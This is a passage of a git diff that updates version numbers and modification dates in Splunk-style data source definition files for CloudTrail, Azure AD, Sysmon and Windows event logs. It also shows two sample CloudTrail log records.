data_sources/aws_cloudtrail_deletegroup.yml | 4 ++-- data_sources/aws_cloudtrail_deleteipset.yml | 4 ++-- .../aws_cloudtrail_deleteloggingconfiguration.yml | 4 ++-- data_sources/aws_cloudtrail_deleteloggroup.yml | 4 ++-- data_sources/aws_cloudtrail_deletelogstream.yml | 4 ++-- .../aws_cloudtrail_deletenetworkaclentry.yml | 4 ++-- data_sources/aws_cloudtrail_deletepolicy.yml | 4 ++-- data_sources/aws_cloudtrail_deleterule.yml | 4 ++-- data_sources/aws_cloudtrail_deleterulegroup.yml | 4 ++-- data_sources/aws_cloudtrail_deletetrail.yml | 4 ++-- data_sources/aws_cloudtrail_deletewebacl.yml | 4 ++-- .../aws_cloudtrail_describeimagescanfindings.yml | 4 ++-- .../aws_cloudtrail_describesnapshotattribute.yml | 4 ++-- data_sources/aws_cloudtrail_getpassworddata.yml | 4 ++-- data_sources/aws_cloudtrail_modifydbinstance.yml | 4 ++-- .../aws_cloudtrail_modifyimageattribute.yml | 4 ++-- .../aws_cloudtrail_modifysnapshotattribute.yml | 4 ++-- data_sources/aws_cloudtrail_putbucketlifecycle.yml | 4 ++-- data_sources/aws_cloudtrail_putimage.yml | 4 ++-- data_sources/aws_cloudtrail_putkeypolicy.yml | 4 ++-- .../aws_cloudtrail_replacenetworkaclentry.yml | 4 ++-- .../aws_cloudtrail_setdefaultpolicyversion.yml | 4 ++-- data_sources/aws_cloudtrail_stoplogging.yml | 4 ++-- data_sources/aws_cloudtrail_updateloginprofile.yml | 4 ++-- data_sources/aws_cloudtrail_updatetrail.yml | 4 ++-- data_sources/azure_active_directory.yml | 5 ++--- ...add_app_role_assignment_to_service_principal.yml | 4 ++-- .../azure_active_directory_add_member_to_role.yml | 4 ++-- ...re_active_directory_add_owner_to_application.yml | 4 ++-- ...azure_active_directory_add_service_principal.yml | 4 ++-- ...azure_active_directory_add_unverified_domain.yml | 4 ++-- ...zure_active_directory_consent_to_application.yml | 4 ++-- ...tive_directory_disable_strong_authentication.yml | 4 ++-- .../azure_active_directory_enable_account.yml | 4 ++-- .../azure_active_directory_invite_external_user.yml | 4 ++-- ..._active_directory_microsoftgraphactivitylogs.yml | 4 ++-- ...ctive_directory_noninteractiveusersigninlogs.yml | 4 ++-- ...e_active_directory_reset_password_(by_admin).yml | 4 ++-- ...e_active_directory_set_domain_authentication.yml | 4 ++-- .../azure_active_directory_sign_in_activity.yml | 4 ++-- .../azure_active_directory_update_application.yml | 4 ++-- ...active_directory_update_authorization_policy.yml | 4 ++-- data_sources/azure_active_directory_update_user.yml | 4 ++-- ...tive_directory_user_registered_security_info.yml | 4 ++-- ...create_or_update_an_azure_automation_account.yml | 4 ++-- ...create_or_update_an_azure_automation_runbook.yml | 4 ++-- ...create_or_update_an_azure_automation_webhook.yml | 4 ++-- data_sources/azure_monitor_activity.yml | 4 ++-- data_sources/crowdstrike_falcon_stream_alert.yml | 4 ++-- data_sources/g_suite_gmail.yml | 4 ++-- data_sources/google_workspace.yml | 4 ++-- data_sources/linux_auditd_add_user.yml | 4 ++-- data_sources/linux_auditd_cwd.yml | 4 ++-- data_sources/linux_auditd_daemon_abort.yml | 4 ++-- data_sources/linux_auditd_daemon_end.yml | 4 ++-- data_sources/linux_auditd_daemon_start.yml | 4 ++-- data_sources/linux_auditd_execve.yml | 4 ++-- data_sources/linux_auditd_path.yml | 4 ++-- data_sources/linux_auditd_proctitle.yml | 4 ++-- data_sources/linux_auditd_service_stop.yml | 4 ++-- data_sources/linux_secure.yml | 4 ++-- data_sources/m365_copilot_graph_api.yml | 4 ++-- data_sources/o365.yml | 5 ++--- .../o365_add_app_role_assignment_grant_to_user_.yml | 4 ++-- ...dd_app_role_assignment_to_service_principal_.yml | 4 ++-- data_sources/o365_add_mailboxpermission.yml | 4 ++-- data_sources/o365_add_member_to_role_.yml | 4 ++-- data_sources/o365_add_owner_to_application_.yml | 4 ++-- data_sources/o365_add_service_principal_.yml | 4 ++-- data_sources/o365_change_user_license_.yml | 4 ++-- data_sources/o365_consent_to_application_.yml | 4 ++-- .../o365_disable_strong_authentication_.yml | 4 ++-- data_sources/o365_mailitemsaccessed.yml | 4 ++-- data_sources/o365_modifyfolderpermissions.yml | 4 ++-- data_sources/o365_set_company_information_.yml | 4 ++-- data_sources/o365_update_application_.yml | 4 ++-- data_sources/o365_update_authorization_policy_.yml | 4 ++-- data_sources/o365_update_user_.yml | 4 ++-- data_sources/o365_userloggedin.yml | 4 ++-- data_sources/o365_userloginfailed.yml | 4 ++-- .../powershell_script_block_logging_4104.yml | 4 ++-- data_sources/sysmon_eventid_10.yml | 4 ++-- data_sources/sysmon_eventid_11.yml | 4 ++-- data_sources/sysmon_eventid_12.yml | 4 ++-- data_sources/sysmon_eventid_13.yml | 4 ++-- data_sources/sysmon_eventid_14.yml | 4 ++-- data_sources/sysmon_eventid_15.yml | 2 +- data_sources/sysmon_eventid_17.yml | 4 ++-- data_sources/sysmon_eventid_18.yml | 4 ++-- data_sources/sysmon_eventid_22.yml | 2 +- data_sources/sysmon_eventid_23.yml | 4 ++-- data_sources/sysmon_eventid_26.yml | 4 ++-- data_sources/sysmon_eventid_29.yml | 4 ++-- data_sources/sysmon_eventid_3.yml | 4 ++-- data_sources/sysmon_eventid_6.yml | 4 ++-- data_sources/sysmon_eventid_7.yml | 4 ++-- data_sources/sysmon_eventid_8.yml | 4 ++-- data_sources/windows_active_directory_admon.yml | 4 ++-- .../windows_event_log_application_15457.yml | 4 ++-- data_sources/windows_event_log_application_2282.yml | 4 ++-- data_sources/windows_event_log_application_3000.yml | 4 ++-- data_sources/windows_event_log_application_8128.yml | 4 ++-- .../windows_event_log_appxdeployment_server_400.yml | 4 ++-- .../windows_event_log_appxdeployment_server_854.yml | 4 ++-- .../windows_event_log_appxdeployment_server_855.yml | 4 ++-- .../windows_event_log_appxpackaging_171.yml | 4 ++-- data_sources/windows_event_log_defender_1116.yml | 4 ++-- data_sources/windows_event_log_defender_1117.yml | 4 ++-- data_sources/windows_event_log_defender_1121.yml | 4 ++-- data_sources/windows_event_log_defender_1122.yml | 4 ++-- data_sources/windows_event_log_defender_1125.yml | 4 ++-- data_sources/windows_event_log_defender_1126.yml | 4 ++-- data_sources/windows_event_log_defender_1129.yml | 4 ++-- data_sources/windows_event_log_defender_1131.yml | 4 ++-- data_sources/windows_event_log_defender_1132.yml | 4 ++-- data_sources/windows_event_log_defender_1133.yml | 4 ++-- data_sources/windows_event_log_defender_1134.yml | 4 ++-- data_sources/windows_event_log_defender_5007.yml | 4 ++-- data_sources/windows_event_log_security_1100.yml | 4 ++-- data_sources/windows_event_log_security_1102.yml | 4 ++-- data_sources/windows_event_log_security_4624.yml | 4 ++-- data_sources/windows_event_log_security_4625.yml | 4 ++-- data_sources/windows_event_log_security_4648.yml | 4 ++-- data_sources/windows_event_log_security_4662.yml | 4 ++-- data_sources/windows_event_log_security_4663.yml | 4 ++-- data_sources/windows_event_log_security_4672.yml | 4 ++-- data_sources/windows_event_log_security_4688.yml | 4 ++-- data_sources/windows_event_log_security_4698.yml | 4 ++-- data_sources/windows_event_log_security_4699.yml | 4 ++-- data_sources/windows_event_log_security_4700.yml | 4 ++-- data_sources/windows_event_log_security_4702.yml | 4 ++-- data_sources/windows_event_log_security_4703.yml | 4 ++-- data_sources/windows_event_log_security_4719.yml | 4 ++-- data_sources/windows_event_log_security_4720.yml | 4 ++-- data_sources/windows_event_log_security_4723.yml | 4 ++-- data_sources/windows_event_log_security_4724.yml | 4 ++-- data_sources/windows_event_log_security_4725.yml | 4 ++-- data_sources/windows_event_log_security_4726.yml | 4 ++-- data_sources/windows_event_log_security_4727.yml | 4 ++-- data_sources/windows_event_log_security_4728.yml | 4 ++-- data_sources/windows_event_log_security_4730.yml | 4 ++-- data_sources/windows_event_log_security_4731.yml | 4 ++-- data_sources/windows_event_log_security_4732.yml | 4 ++-- data_sources/windows_event_log_security_4737.yml | 4 ++-- data_sources/windows_event_log_security_4738.yml | 4 ++-- data_sources/windows_event_log_security_4741.yml | 4 ++-- data_sources/windows_event_log_security_4742.yml | 4 ++-- data_sources/windows_event_log_security_4744.yml | 4 ++-- data_sources/windows_event_log_security_4749.yml | 4 ++-- data_sources/windows_event_log_security_4754.yml | 4 ++-- data_sources/windows_event_log_security_4756.yml | 4 ++-- data_sources/windows_event_log_security_4759.yml | 4 ++-- data_sources/windows_event_log_security_4768.yml | 4 ++-- data_sources/windows_event_log_security_4769.yml | 4 ++-- data_sources/windows_event_log_security_4771.yml | 4 ++-- data_sources/windows_event_log_security_4776.yml | 4 ++-- data_sources/windows_event_log_security_4781.yml | 4 ++-- data_sources/windows_event_log_security_4783.yml | 4 ++-- data_sources/windows_event_log_security_4790.yml | 4 ++-- data_sources/windows_event_log_security_4794.yml | 4 ++-- data_sources/windows_event_log_security_4798.yml | 4 ++-- data_sources/windows_event_log_security_4876.yml | 4 ++-- data_sources/windows_event_log_security_4886.yml | 4 ++-- data_sources/windows_event_log_security_4887.yml | 4 ++-- data_sources/windows_event_log_security_4946.yml | 4 ++-- data_sources/windows_event_log_security_4947.yml | 4 ++-- data_sources/windows_event_log_security_4948.yml | 4 ++-- data_sources/windows_event_log_security_5136.yml | 4 ++-- data_sources/windows_event_log_security_5137.yml | 4 ++-- data_sources/windows_event_log_security_5140.yml | 4 ++-- data_sources/windows_event_log_security_5141.yml | 4 ++-- data_sources/windows_event_log_security_5145.yml | 4 ++-- data_sources/windows_event_log_security_5447.yml | 4 ++-- data_sources/windows_event_log_system_104.yml | 4 ++-- data_sources/windows_event_log_system_7036.yml | 4 ++-- data_sources/windows_event_log_system_7040.yml | 4 ++-- data_sources/windows_event_log_system_7045.yml | 4 ++-- .../windows_event_log_taskscheduler_201.yml | 4 ++-- 188 files changed, 378 insertions(+), 382 deletions(-) diff --git a/data_sources/asl_aws_cloudtrail.yml b/data_sources/asl_aws_cloudtrail.yml index c1c36e1587..dea2cb68c5 100644 --- a/data_sources/asl_aws_cloudtrail.yml +++ b/data_sources/asl_aws_cloudtrail.yml @@ -1,8 +1,8 @@ name: ASL AWS CloudTrail id: 1dcf9cfb-0e91-44c6-81b3-61b2574ec898 -version: 3 +version: 4 creation_date: '2025-01-14' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Represents AWS API dataset data collection from Amazon Security Lake. mitre_components: @@ -130,6 +130,5 @@ output_fields: - vendor_account - vendor_region - vendor_product - example_log: | {"metadata":{"product":{"version":"1.10","name":"CloudTrail","vendor_name":"AWS","feature":{"name":"Management"}},"event_code":"AwsApiCall","uid":"721b851c-40ec-4a1a-9d81-666641ab0d8e","profiles":"cloud","profiles":"datetime","version":"1.1.0"},"time":1733922792000,"time_dt":1733922792000,"cloud":{"region":"us-east-1","provider":"AWS"},"api":{"response":{"error":"","message":"","data":""},"operation":"DeleteGroup","version":"","service":{"name":"iam.amazonaws.com"},"request":{"data":"{\"groupName\":\"test\"}","uid":"89c19a56-3257-40c1-a36d-ad461ce9be53"}},"dst_endpoint":{"svc_name":""},"actor":{"user":{"type":"IAMUser","name":"test","uid_alt":"AAAAAAAAAAAAAAAAAAAA","uid":"arn:aws:iam::222222222222:user/test","account":{"uid":"222222222222"},"credential_uid":"AAAAAAAAAAAAAAAAAAAAA"},"session":{"created_time_dt":"0","is_mfa":false,"issuer":""},"invoked_by":"","idp":{"name":""}},"http_request":{"user_agent":"aws-cli/2.18.17 md/awscrt#0.22.0 ua/2.0 os/macos#24.1.0 md/arch#arm64 lang/python#3.12.7 md/pyimpl#CPython cfg/retry-mode#standard md/installer#source md/prompt#off md/command#iam.delete-group"},"src_endpoint":{"uid":"","ip":"84.174.65.161","domain":""},"session":{"uid":"","uid_alt":"","credential_uid":"","issuer":""},"policy":{"uid":""},"resources":null,"class_name":"Account Change","class_uid":3001,"category_name":"Identity & Access Management","category_uid":3,"severity_id":1,"severity":"Informational","user":{"uid_alt":"","uid":"","name":""},"activity_name":"Delete","activity_id":6,"type_uid":300106,"type_name":"Account Change: Delete","status":"Success","is_mfa":false,"unmapped":{"tlsDetails.clientProvidedHostHeader":"iam.amazonaws.com","recipientAccountId":"222222222222","readOnly":"false","tlsDetails.tlsVersion":"TLSv1.3","managementEvent":"true","tlsDetails.cipherSuite":"TLS_AES_128_GCM_SHA256"},"accountid":"","region":"","asl_version":"","observables":{"name":"src_endpoint.ip","name":"actor.user.name","value":"84.174.65.161","value":"test","type":"IP Address","type":"User Name","type_id":2,"type_id":4}} diff --git a/data_sources/aws_bedrock_claude.yml b/data_sources/aws_bedrock_claude.yml index cc471e3b0c..a21e958aaf 100644 --- a/data_sources/aws_bedrock_claude.yml +++ b/data_sources/aws_bedrock_claude.yml @@ -1,8 +1,8 @@ name: AWS Bedrock Claude id: b7c91d3a-ef52-4b8e-9c2d-ae047f6b3e21 -version: 1 +version: 2 creation_date: '2026-05-20' -modification_date: '2026-05-20' +modification_date: '2026-10-14' author: Rod Soto, Splunk description: Amazon Bedrock model invocation logs for Claude models. Generated when Amazon Bedrock model invocation logging is enabled and a Claude model is invoked via the Bedrock API. Logs include request metadata, input/output token counts, model identity, caller identity, and inference region routing information. mitre_components: diff --git a/data_sources/aws_cloudtrail.yml b/data_sources/aws_cloudtrail.yml index 00c873fdf2..9774f0335a 100644 --- a/data_sources/aws_cloudtrail.yml +++ b/data_sources/aws_cloudtrail.yml @@ -1,13 +1,17 @@ name: AWS CloudTrail id: e8ace6db-1dbd-4c72-a1fb-334684619a38 -version: 2 +version: 3 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: All AWS CloudTrail events source: aws_cloudtrail sourcetype: aws:cloudtrail separator: eventName +supported_TA: + - name: Splunk Add-on for AWS + url: https://splunkbase.splunk.com/app/1876 + version: 8.2.2 fields: - _time - app @@ -104,10 +108,5 @@ fields: - vendor_account - vendor_product - vendor_region -supported_TA: - - name: Splunk Add-on for AWS - url: https://splunkbase.splunk.com/app/1876 - version: 8.2.2 - example_log: | {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-02-25T00:53:49Z", "eventSource": "lambda.amazonaws.com", "eventName": "UpdateFunctionCode20150331v2", "awsRegion": "us-west-2", "sourceIPAddress": "73.202.156.34", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/lambda.update-function-code", "requestParameters": {"fullyQualifiedArn": {"arnPrefix": {"partition": "aws", "region": "us-west-2", "account": "111111111111"}, "relativeId": {"functionName": "bhavin_test"}, "functionQualifier": {}}, "functionName": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test", "publish": true, "dryRun": false}, "responseElements": {"functionName": "bhavin_test", "functionArn": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test:1", "runtime": "python3.8", "role": "arn:aws:iam::111111111111:role/service-role/bhavin_test-role-7ppg8rck", "handler": "lambda_function.lambda_handler", "codeSize": 779, "description": "", "timeout": 3, "memorySize": 128, "lastModified": "2022-02-25T00:53:49.000+0000", "codeSha256": "cn+ec5LfJBeR4xOhy4XT2AhTndy6uQ268Iu+hY1WGS8=", "version": "1", "environment": {}, "tracingConfig": {"mode": "PassThrough"}, "revisionId": "c617a19c-1192-40d0-af2f-9d51b41494b6", "state": "Pending", "stateReason": "The function is being created.", "stateReasonCode": "Creating", "packageType": "Zip", "architectures": ["x86_64"]}, "requestID": "bcbb506f-d09c-4f28-83dc-717c4eafc182", "eventID": "4ac2b1d2-cfb8-4da8-b3b5-c2c0e85495c3", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_consolelogin.yml b/data_sources/aws_cloudtrail_consolelogin.yml index d98da3978d..87c0da0c47 100644 --- a/data_sources/aws_cloudtrail_consolelogin.yml +++ b/data_sources/aws_cloudtrail_consolelogin.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ConsoleLogin id: b68b3f26-bd21-4fa8-b593-616fe75ac0ae -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs attempts to sign in to the AWS Management Console, including successful and failed login events. mitre_components: diff --git a/data_sources/aws_cloudtrail_createaccesskey.yml b/data_sources/aws_cloudtrail_createaccesskey.yml index 76f88d834e..cd6a61e646 100644 --- a/data_sources/aws_cloudtrail_createaccesskey.yml +++ b/data_sources/aws_cloudtrail_createaccesskey.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateAccessKey id: 0460f7da-3254-4d90-b8c0-2ca657d0cea0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new AWS access keys, including details of the associated user and permissions. mitre_components: diff --git a/data_sources/aws_cloudtrail_createkey.yml b/data_sources/aws_cloudtrail_createkey.yml index 54814fcfc9..193d26dc39 100644 --- a/data_sources/aws_cloudtrail_createkey.yml +++ b/data_sources/aws_cloudtrail_createkey.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateKey id: fcfc1593-b6b5-4a0f-91c5-3c395116a8b9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new AWS KMS keys, including details of key properties and associated metadata. mitre_components: diff --git a/data_sources/aws_cloudtrail_createnetworkaclentry.yml b/data_sources/aws_cloudtrail_createnetworkaclentry.yml index b6703d69bc..49fcf5bdd4 100644 --- a/data_sources/aws_cloudtrail_createnetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_createnetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateNetworkAclEntry id: 45934028-10ec-4ab5-a7b1-a6349b833e67 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new entries in a network ACL, including rules to allow or deny specific network traffic. mitre_components: diff --git a/data_sources/aws_cloudtrail_createpolicyversion.yml b/data_sources/aws_cloudtrail_createpolicyversion.yml index 17965eb96d..fc9d23c385 100644 --- a/data_sources/aws_cloudtrail_createpolicyversion.yml +++ b/data_sources/aws_cloudtrail_createpolicyversion.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreatePolicyVersion id: f9f0f3da-37ec-4164-9ea0-0ae46645a86b -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new versions of IAM policies, including changes to permissions and attached roles or resources. mitre_components: diff --git a/data_sources/aws_cloudtrail_createsnapshot.yml b/data_sources/aws_cloudtrail_createsnapshot.yml index f37a75a878..43d2e322be 100644 --- a/data_sources/aws_cloudtrail_createsnapshot.yml +++ b/data_sources/aws_cloudtrail_createsnapshot.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateSnapshot id: 514135a2-f4b2-4d32-8f31-d87824887f9f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new snapshot of a cloud resource, such as an Amazon EBS volume, including details about the snapshot ID and resource type. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletedetector.yml b/data_sources/aws_cloudtrail_deletedetector.yml index dd56ee359d..4d4a15eb92 100644 --- a/data_sources/aws_cloudtrail_deletedetector.yml +++ b/data_sources/aws_cloudtrail_deletedetector.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteDetector id: 5d8bd475-c8bc-4447-b27f-efa508728b90 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an Amazon GuardDuty detector, including details about the detector ID and associated configurations. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletegroup.yml b/data_sources/aws_cloudtrail_deletegroup.yml index a4726c6075..b8b3eef3d4 100644 --- a/data_sources/aws_cloudtrail_deletegroup.yml +++ b/data_sources/aws_cloudtrail_deletegroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteGroup id: c95308a4-a943-42ca-b112-f90a05c21bd3 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IAM group in AWS, including details about the group name and its associated policies or members. mitre_components: diff --git a/data_sources/aws_cloudtrail_deleteipset.yml b/data_sources/aws_cloudtrail_deleteipset.yml index 69e017cdfc..8efbe48b65 100644 --- a/data_sources/aws_cloudtrail_deleteipset.yml +++ b/data_sources/aws_cloudtrail_deleteipset.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteIPSet id: ebdeeb63-77a0-4808-a6fe-549956731377 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IP set in AWS WAF or GuardDuty, including details about the IP set ID and its associated configurations. mitre_components: diff --git a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml index d0eed14b5f..6187e6c3c9 100644 --- a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml +++ b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLoggingConfiguration id: 24a28726-28f3-4537-a953-71bfbbc3b831 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DeleteLoggingConfiguration source: aws_cloudtrail diff --git a/data_sources/aws_cloudtrail_deleteloggroup.yml b/data_sources/aws_cloudtrail_deleteloggroup.yml index 9258625c65..1ff66d84c1 100644 --- a/data_sources/aws_cloudtrail_deleteloggroup.yml +++ b/data_sources/aws_cloudtrail_deleteloggroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLogGroup id: 60cf6a69-fa43-4a6c-8808-e9fb46bf387f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a CloudWatch log group, including details about the log group name and associated resources. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletelogstream.yml b/data_sources/aws_cloudtrail_deletelogstream.yml index f50350e959..ecdbd96ab2 100644 --- a/data_sources/aws_cloudtrail_deletelogstream.yml +++ b/data_sources/aws_cloudtrail_deletelogstream.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLogStream id: 6f8bb808-89f8-465e-a34d-229df2f46402 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a log stream within a CloudWatch log group, including details about the stream name and associated log group. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml index 23f52e84fe..8d19201718 100644 --- a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteNetworkAclEntry id: a0dd0f10-cc03-425d-bd5a-e1e0d954b856 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a network ACL entry in AWS, including details about the rule number and associated network ACL. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletepolicy.yml b/data_sources/aws_cloudtrail_deletepolicy.yml index 2c8111db8c..b9003af081 100644 --- a/data_sources/aws_cloudtrail_deletepolicy.yml +++ b/data_sources/aws_cloudtrail_deletepolicy.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeletePolicy id: d190d23a-2c59-4a0e-9c55-a53ebef28ee5 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IAM policy in AWS, including details about the policy name and its associated roles or users. mitre_components: diff --git a/data_sources/aws_cloudtrail_deleterule.yml b/data_sources/aws_cloudtrail_deleterule.yml index c6d7b37d06..13e44c0bdf 100644 --- a/data_sources/aws_cloudtrail_deleterule.yml +++ b/data_sources/aws_cloudtrail_deleterule.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteRule id: b5760623-f3ca-492d-a372-d5c2b3567dfc -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an event rule in AWS EventBridge, including details about the rule name and its associated targets or schedules. mitre_components: diff --git a/data_sources/aws_cloudtrail_deleterulegroup.yml b/data_sources/aws_cloudtrail_deleterulegroup.yml index e660b861a6..ec0b5931ce 100644 --- a/data_sources/aws_cloudtrail_deleterulegroup.yml +++ b/data_sources/aws_cloudtrail_deleterulegroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteRuleGroup id: 21c9b538-fa11-4bdf-9138-0dfe06b4d730 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DeleteRuleGroup source: aws_cloudtrail diff --git a/data_sources/aws_cloudtrail_deletetrail.yml b/data_sources/aws_cloudtrail_deletetrail.yml index ce3ad55f60..4c201dc7e2 100644 --- a/data_sources/aws_cloudtrail_deletetrail.yml +++ b/data_sources/aws_cloudtrail_deletetrail.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteTrail id: a5af09ff-07b6-4df6-92a0-2146bfe402c8 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an AWS CloudTrail trail, including details about the trail name and its associated logging configurations. mitre_components: diff --git a/data_sources/aws_cloudtrail_deletewebacl.yml b/data_sources/aws_cloudtrail_deletewebacl.yml index 98b53d36f6..f60099f6bc 100644 --- a/data_sources/aws_cloudtrail_deletewebacl.yml +++ b/data_sources/aws_cloudtrail_deletewebacl.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteWebACL id: 90da5f08-7961-4c29-8de8-01364982aadf -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a Web Access Control List (WebACL) is deleted in AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_describeimagescanfindings.yml b/data_sources/aws_cloudtrail_describeimagescanfindings.yml index d27490510e..913b31e006 100644 --- a/data_sources/aws_cloudtrail_describeimagescanfindings.yml +++ b/data_sources/aws_cloudtrail_describeimagescanfindings.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DescribeImageScanFindings id: 688ea789-9ba2-4970-90a2-17e541e273c9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when findings from an image vulnerability scan are described using the DescribeImageScanFindings operation in AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_describesnapshotattribute.yml b/data_sources/aws_cloudtrail_describesnapshotattribute.yml index 116061f929..7c52dbd000 100644 --- a/data_sources/aws_cloudtrail_describesnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_describesnapshotattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DescribeSnapshotAttribute id: f054c99b-63b8-4236-8a62-b52fbbabacba -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DescribeSnapshotAttribute source: aws_cloudtrail diff --git a/data_sources/aws_cloudtrail_getpassworddata.yml b/data_sources/aws_cloudtrail_getpassworddata.yml index 1f85e55522..610dc4f22f 100644 --- a/data_sources/aws_cloudtrail_getpassworddata.yml +++ b/data_sources/aws_cloudtrail_getpassworddata.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail GetPasswordData id: 6ff2ce99-85b1-4c17-888a-56dbc3570671 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a request is made to retrieve the administrator password of an EC2 instance. mitre_components: diff --git a/data_sources/aws_cloudtrail_modifydbinstance.yml b/data_sources/aws_cloudtrail_modifydbinstance.yml index 014709a679..d025cf468d 100644 --- a/data_sources/aws_cloudtrail_modifydbinstance.yml +++ b/data_sources/aws_cloudtrail_modifydbinstance.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifyDBInstance id: bfa2912d-1a33-4b05-be46-543874d68241 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a modification is made to an AWS database instance, such as parameters or configurations. mitre_components: diff --git a/data_sources/aws_cloudtrail_modifyimageattribute.yml b/data_sources/aws_cloudtrail_modifyimageattribute.yml index 4288aa4f90..415abd693e 100644 --- a/data_sources/aws_cloudtrail_modifyimageattribute.yml +++ 